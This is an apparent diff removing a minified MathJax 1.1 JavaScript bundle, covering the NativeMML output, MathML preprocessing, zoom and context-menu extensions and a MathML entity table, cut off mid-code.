supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
-
-(function(b,c,f){var k="1.1.4";MathJax.Extension.MathMenu={version:k};var i=b.Browser.isPC,g=b.Browser.isMSIE;var e=(i?null:"5px");var j=b.CombineConfig("MathMenu",{delay:150,helpURL:"http://www.mathjax.org/help/user/",showRenderer:true,showFontMenu:false,showContext:false,windowSettings:{status:"no",toolbar:"no",locationbar:"no",menubar:"no",directories:"no",personalbar:"no",resizable:"yes",scrollbars:"yes",width:100,height:50},styles:{"#MathJax_About":{position:"fixed",left:"50%",width:"auto","text-align":"center",border:"3px outset",padding:"1em 2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuActive .MathJax_MenuArrow":{color:"white"},".MathJax_MenuCheck":{position:"absolute",left:".7em","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuRadioCheck":{position:"absolute",left:(i?"1em":".7em")},".MathJax_MenuLabel":{padding:(i?"2px 2em 4px 1.33em":"1px 2em 3px 1.33em"),"font-style":"italic"},".MathJax_MenuRule":{"border-top":(i?"1px solid #CCCCCC":"1px solid #DDDDDD"),margin:(i?"4px 1px 0px":"4px 3px")},".MathJax_MenuDisabled":{color:"GrayText"},".MathJax_MenuActive":{"background-color":(i?"Highlight":"#606872"),color:(i?"HighlightText":"white")}}});var d=function(l){if(!l){l=window.event}if(l){if(l.preventDefault){l.preventDefault()}if(l.stopPropagation){l.stopPropagation()}l.cancelBubble=true;l.returnValue=false}return false};var a=MathJax.Menu=MathJax.Object.Subclass({version:k,items:[],posted:false,title:null,margin:5,Init:function(l){this.items=[].slice.call(arguments,0)},With:function(l){if(l){b.Insert(this,l)}return this},Post:function(n,v){if(!n){n=window.event}var t=(!this.title?null:[["div",{className:"MathJax_MenuTitle"},[this.title]]]);var l=document.getElementById("MathJax_MenuFrame");if(!l){l=a.Background(this)}var o=c.addElement(l,"div",{onmouseup:a.Mouseup,ondblclick:this.False,ondragstart:this.False,onselectstart:this.False,oncontextmenu:this.False,menuItem:this,className:"MathJax_Menu"},t);for(var q=0,p=this.items.length;q<p;q++){this.items[q].Create(o)}this.posted=true;o.style.width=(o.offsetWidth+2)+"px";var u=n.pageX,s=n.pageY;if(!u&&!s){u=n.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;s=n.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(!v){if(u+o.offsetWidth>document.body.offsetWidth-this.margin){u=document.body.offsetWidth-o.offsetWidth-this.margin}a.skipUp=true}else{var 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a.skipUp}else{this.Remove(l,m)}},False:d},{config:j,div:null,Remove:function(l){a.Event(l,this,"Remove")},Mouseover:function(l){a.Event(l,this,"Mouseover")},Mouseout:function(l){a.Event(l,this,"Mouseout")},Mousedown:function(l){a.Event(l,this,"Mousedown")},Mouseup:function(l){a.Event(l,this,"Mouseup")},Mousemove:function(l){a.Event(l,this,"Mousemove")},Event:function(n,o,l){if(!n){n=window.event}var m=o.menuItem;if(m&&m[l]){return m[l](n,o)}return null},BGSTYLE:{position:"absolute",left:0,top:0,"z-index":200,width:"100%",height:"100%",border:0,padding:0,margin:0},Background:function(m){var n=c.addElement(document.body,"div",{style:this.BGSTYLE,id:"MathJax_MenuFrame"},[["div",{style:this.BGSTYLE,menuItem:m,onmousedown:this.Remove}]]);var l=n.firstChild;if(m.msieBackgroundBug){l.style.backgroundColor="white";l.style.filter="alpha(opacity=0)";n.width=n.height=0;this.Resize();attachEvent("onresize",this.Resize)}else{l.style.position="fixed"}return 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022",cap:"\u2229",check:"\u2713",chi:"\u03C7",circ:"\u02C6",circeq:"\u2257",circlearrowleft:"\u21BA",circlearrowright:"\u21BB",circledR:"\u00AE",circledS:"\u24C8",circledast:"\u229B",circledcirc:"\u229A",circleddash:"\u229D",clubs:"\u2663",colon:"\u003A",comp:"\u2201",ctdot:"\u22EF",cuepr:"\u22DE",cuesc:"\u22DF",cularr:"\u21B6",cup:"\u222A",curarr:"\u21B7",curlyvee:"\u22CE",curlywedge:"\u22CF",dagger:"\u2020",daleth:"\u2138",ddarr:"\u21CA",deg:"\u00B0",delta:"\u03B4",digamma:"\u03DD",div:"\u00F7",divideontimes:"\u22C7",dot:"\u02D9",doteqdot:"\u2251",dotplus:"\u2214",dotsquare:"\u22A1",dtdot:"\u22F1",ecir:"\u2256",efDot:"\u2252",egs:"\u2A96",ell:"\u2113",els:"\u2A95",empty:"\u2205",epsi:"\u03B5",epsiv:"\u03F5",erDot:"\u2253",eta:"\u03B7",eth:"\u00F0",flat:"\u266D",fork:"\u22D4",frown:"\u2322",gEl:"\u2A8C",gamma:"\u03B3",gap:"\u2A86",gimel:"\u2137",gnE:"\u2269",gnap:"\u2A8A",gne:"\u2A88",gnsim:"\u22E7",gt:"\u003E",gtdot:"\u22D7",harrw:"\u21AD",hbar:"\u210F",hellip:"\u2026",hookleftarrow:"\u21A9",hookrightarrow:"\u21AA",imath:"\u0131",infin:"\u221E",intcal:"\u22BA",iota:"\u03B9",jmath:"\u0237",kappa:"\u03BA",kappav:"\u03F0",lEg:"\u2A8B",lambda:"\u03BB",lap:"\u2A85",larrlp:"\u21AB",larrtl:"\u21A2",lbrace:"\u007B",lbrack:"\u005B",le:"\u2264",leftleftarrows:"\u21C7",leftthreetimes:"\u22CB",lessdot:"\u22D6",lmoust:"\u23B0",lnE:"\u2268",lnap:"\u2A89",lne:"\u2A87",lnsim:"\u22E6",longmapsto:"\u27FC",looparrowright:"\u21AC",lowast:"\u2217",loz:"\u25CA",lt:"\u003C",ltimes:"\u22C9",ltri:"\u25C3",macr:"\u00AF",malt:"\u2720",mho:"\u2127",mu:"\u03BC",multimap:"\u22B8",nLeftarrow:"\u21CD",nLeftrightarrow:"\u21CE",nRightarrow:"\u21CF",nVDash:"\u22AF",nVdash:"\u22AE",natur:"\u266E",nearr:"\u2197",nharr:"\u21AE",nlarr:"\u219A",not:"\u00AC",nrarr:"\u219B",nu:"\u03BD",nvDash:"\u22AD",nvdash:"\u22AC",nwarr:"\u2196",omega:"\u03C9",omicron:"\u03BF",or:"\u2228",osol:"\u2298",period:"\u002E",phi:"\u03C6",phiv:"\u03D5",pi:"\u03C0",piv:"\u03D6",prap:"\u2AB7",precnapprox:"\u2AB9",precneqq:"\u2AB5",precnsim:"\u22E8",prime:"\u2032",psi:"\u03C8",rarrtl:"\u21A3",rbrace:"\u007D",rbrack:"\u005D",rho:"\u03C1",rhov:"\u03F1",rightrightarrows:"\u21C9",rightthreetimes:"\u22CC",ring:"\u02DA",rmoust:"\u23B1",rtimes:"\u22CA",rtri:"\u25B9",scap:"\u2AB8",scnE:"\u2AB6",scnap:"\u2ABA",scnsim:"\u22E9",sdot:"\u22C5",searr:"\u2198",sect:"\u00A7",sharp:"\u266F",sigma:"\u03C3",sigmav:"\u03C2",simne:"\u2246",smile:"\u2323",spades:"\u2660",sub:"\u2282",subE:"\u2AC5",subnE:"\u2ACB",subne:"\u228A",supE:"\u2AC6",supnE:"\u2ACC",supne:"\u228B",swarr:"\u2199",tau:"\u03C4",theta:"\u03B8",thetav:"\u03D1",tilde:"\u02DC",times:"\u00D7",triangle:"\u25B5",triangleq:"\u225C",upsi:"\u03C5",upuparrows:"\u21C8",veebar:"\u22BB",vellip:"\u22EE",weierp:"\u2118",xi:"\u03BE",yen:"\u00A5",zeta:"\u03B6",zigrarr:"\u21DD"};b.loadComplete("jax.js")})(MathJax.InputJax.MathML,MathJax.Hub.Browser);
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Use the Internet Options item under\nthe Tools menu and select the Security tab, then press the\nCustom Level button. Check that the settings for\n'Run ActiveX Controls', and 'Binary and script behaviors'\nare enabled.\n\nCurrently you will see error messages rather than\ntypeset mathematics.")}}},Translate:function(g){if(!g.parentNode){return}if(!this.initialized){this.InitializeMML()}var k=g.previousSibling;if(k&&String(k.className).match(/^MathJax(_MathML|_Display)?$/)){k.parentNode.removeChild(k)}var j=g.MathJax.elementJax.root;var i=(j.Get("display")==="block"?"div":"span");var h=document.createElement(i),f=h;h.className="MathJax_MathML";h.style.fontSize=this.config.scale+"%";if(c&&this.config.showMathMenuMSIE){f=MathJax.HTML.addElement(h,"span",{className:"MathJax_MathContainer",style:{display:"inline-block",position:"relative"}})}j.toNativeMML(f);g.parentNode.insertBefore(h,g);if(c){if(this.config.showMathMenuMSIE){this.MSIEoverlay(h)}}else{j=h.firstChild;j.oncontextmenu=this.ContextMenu;j.onmouseover=this.Mouseover;j.onmousedown=this.Mousedown;j.onclick=this.Click;j.ondblclick=this.DblClick}},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/MathJax_MathML/)){g.parentNode.removeChild(g)}},MMLnamespace:"http://www.w3.org/1998/Math/MathML",MSIEoverlay:function(m){var l=m.firstChild;m.style.position="absolute";var n=m.scrollHeight,h=m.offsetWidth;var j=MathJax.HTML.addElement(m,"img",{src:"about:blank",style:{width:0,height:n+"px"}});var f=m.scrollHeight-n;m.removeChild(j);m.style.position="";var k,i,g=(m.parentNode.nodeName.toLowerCase()==="div");if(g&&this.quirks){k=-n;i=Math.floor(-h/2)}else{k=f-n,i=-h}MathJax.HTML.addElement(m,"span",{style:{display:"inline-block",width:0,height:0,position:"relative"}},[["span",{style:{display:"inline-block",position:"absolute",left:i+"px",top:k+"px",width:l.offsetWidth+"px",height:n+"px",cursor:"pointer","background-color":"white",filter:"alpha(opacity=0)"},onmousedown:this.MSIEevent,oncontextmenu:this.MSIEevent,onclick:this.MSIEevent,onmousemove:this.MSIEevent,ondblclick:this.MSIEevent,onmouseover:this.MSIEevent,onmouseout:this.MSIEevent}]])},MSIEmath:function(f){var g=f.parentNode.previousSibling.firstChild;return(g.nodeName.toLowerCase()==="span"?g.firstChild:g)},MSIEevent:function(){var g=b.MSIEmath(this);var f=window.event;var h=b["MSIE"+f.type];if(h&&h.call(b,f,g,this)){return false}g.fireEvent("on"+f.type,f);return false},MSIEmousedown:function(h,g,f){if(h[this.MENUKEY]&&h.button===this.LEFTBUTTON&&this.settings.context!=="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}if(this.MSIEzoomKeys&&this.MSIEzoomKeys(h)){this.trapUp=true;return true}return false},MSIEcontextmenu:function(h,g,f){if(this.settings.context==="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}return false},ContextMenu:function(i,j){if(b.config.showMathMenu&&(b.settings.context==="MathJax"||j)){if(b.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||b.msieEventBug){i=window.event}var g=MathJax.Menu;if(g){if(document.selection){setTimeout("document.selection.empty()",0)}var f=(c?this.parentNode.parentNode.nextSibling:this.parentNode.nextSibling);g.jax=e.getJaxFor(f);g.menu.items[1].menu.items[1].name=(g.jax.inputJax.id==="MathML"?"Original":g.jax.inputJax.id);delete b.trapClick;delete b.trapUp;return g.menu.Post(i)}else{if(!d.loadingMathMenu){d.loadingMathMenu=true;var h={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(d.Require("[MathJax]/extensions/MathMenu.js"),function(){delete d.loadingMathMenu},[this,arguments.callee,h,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(b.config.showMathMenu){if(!f){f=window.event}if(b.settings.context==="MathJax"){if(!b.noContextMenuBug||f.button!==2){return}}else{if(!f[b.MENUKEY]||f.button!==b.LEFTBUTTON){return}}return b.ContextMenu.call(this,f,true)}},Mouseover:function(f){b.HandleEvent(f,"Mouseover",this)},Click:function(f){b.HandleEvent(f,"Click",this)},DblClick:function(f){b.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},NAMEDSPACE:{negativeveryverythinmathspace:"-.0556em",negativeverythinmathspace:"-.1111em",negativethinmathspace:"-.1667em",negativemediummathspace:"-.2222em",negativethickmathspace:"-.2778em",negativeverythickmathspace:"-.3333em",negativeveryverythickmathspace:"-.3889em"}});e.Register.StartupHook("mml Jax Ready",function(){a=MathJax.ElementJax.mml;a.mbase.Augment({toNativeMML:function(k){var h=this.NativeMMLelement(this.type);this.NativeMMLattributes(h);for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)},NativeMMLattributes:function(h){var l=this.defaults;var o=this.NativeMMLcopyAttributes,k=this.NativeMMLskipAttributes;if(this.type==="mstyle"){l=a.math.prototype.defaults}for(var n in 